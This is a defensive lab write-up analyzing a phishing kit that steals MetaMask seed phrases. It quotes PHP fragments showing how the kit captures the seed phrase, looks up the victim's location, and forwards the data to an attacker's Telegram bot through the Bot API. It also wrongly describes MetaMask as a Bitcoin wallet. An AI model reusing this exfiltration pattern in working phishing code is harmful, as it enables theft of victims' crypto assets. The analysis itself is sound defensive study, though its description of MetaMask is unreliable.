Analyze a cryptocurrency phishing kit

This lab was found online and analyzed. It focuses on a phishing kit used to target cryptocurrency wallet users by tricking them into entering their seed phrase (a 12- or 24-word secret used to recover a crypto wallet). Once obtained, the attacker can take control of the victim’s crypto account.

This is the entire folder provided for the exercise. It represents the attacker’s perspective rather than the perspective of defensive tools or any telemetry generated by the defenders.

At first glance, I noticed a folder named “metamask”. MetaMask is a crypto wallet used to buy and sell Bitcoin. Everything looked fairly normal until I opened that folder.

Inside it, there was a file with a .php extension. As a SOC analyst or anyone working in defense, we should be cautious about unusual .php files because they can indicate payloads created by attackers for later delivery to victim machines.

We will open the .php file to see whether it contains any script.

Note: Any interaction with files suspected to be malicious should be performed only in a safe, isolated environment. Never run them on a real machine where they could cause unintended damage.

When I looked at this script, I could confidently say it was essentially malware or phishing code. The script supports this conclusion through the following points:

• $_POST[“data”]: this line collects information from the user’s browser. As mentioned earlier, the attacker created a phishing website. When the user enters the seed phrase, it is stored in the data variable and then POSTed back to the attacker, exposing the seed phrase.

• .$_SERVER[‘REMOTE_ADDR’] . “

  ” .$geo. “

  ” .$city.: this line retrieves the victim’s geographic location, such as their city and country.

• $filename = “https://api.telegram.org/bot”.$token.”/sendMessage?chat_id=”.: this shows that the information is being pushed to the attacker’s Telegram bot via the Telegram API.

At this point, we have already gathered the following information:

• The wallet used to prompt the user for the seed phrase on the phishing site is MetaMask.
• The file metamask.php contains the malicious phishing kit code.
• The language used to write this code is PHP.
• The service used to obtain the victim’s geographic location is Sypex Geo.

We will move on to the other folders to gather more information.

IOC:

At the moment, I’m inside the Log folder (shown in the image above). Logs are an area that defenders should pay special attention to.

Here is the log.txt file. Let’s inspect it:

At first glance, it was not obvious what it contained. But after thinking about it carefully, it turned out to be the seed phrases the attacker had collected from three victims.

Based on this, we can conclude that three users exposed their seed phrases and are likely to lose full control of their crypto accounts in the near future.

Let’s return to the malicious script and analyze it in more depth. Focus on this section:

Notice the filename variable: it shows that the exfiltrated data is being sent to the attacker’s Telegram account through a Telegram bot.

The bot token is visible right away. This token identifies the bot and grants the script permission to send data to Telegram.

There are also a few other variables assigned nearby:

• Chat_id: specifies the conversation ID of the attacker’s channel.
• The attacker’s ally developed the phishing kit under the username j1j1b1s@m3r0.

From this lab, we learned the following:

• The seed phrase and why it is so important in a crypto wallet.
• How an attacker builds a phishing kit and stores the seed phrases collected from victims.
• The “Sypex Geo” service used by the attacker to collect the victim’s geographic location.
• How to analyze the attacker’s malicious script used to trick users into entering their seed phrase, with the information being forwarded to a bot through a token, which then sends the exfiltrated data to the attacker’s Telegram account.

I hope that by reading this lab, you will find some useful and interesting information worth learning. Thank you for taking the time to read my lab write-up!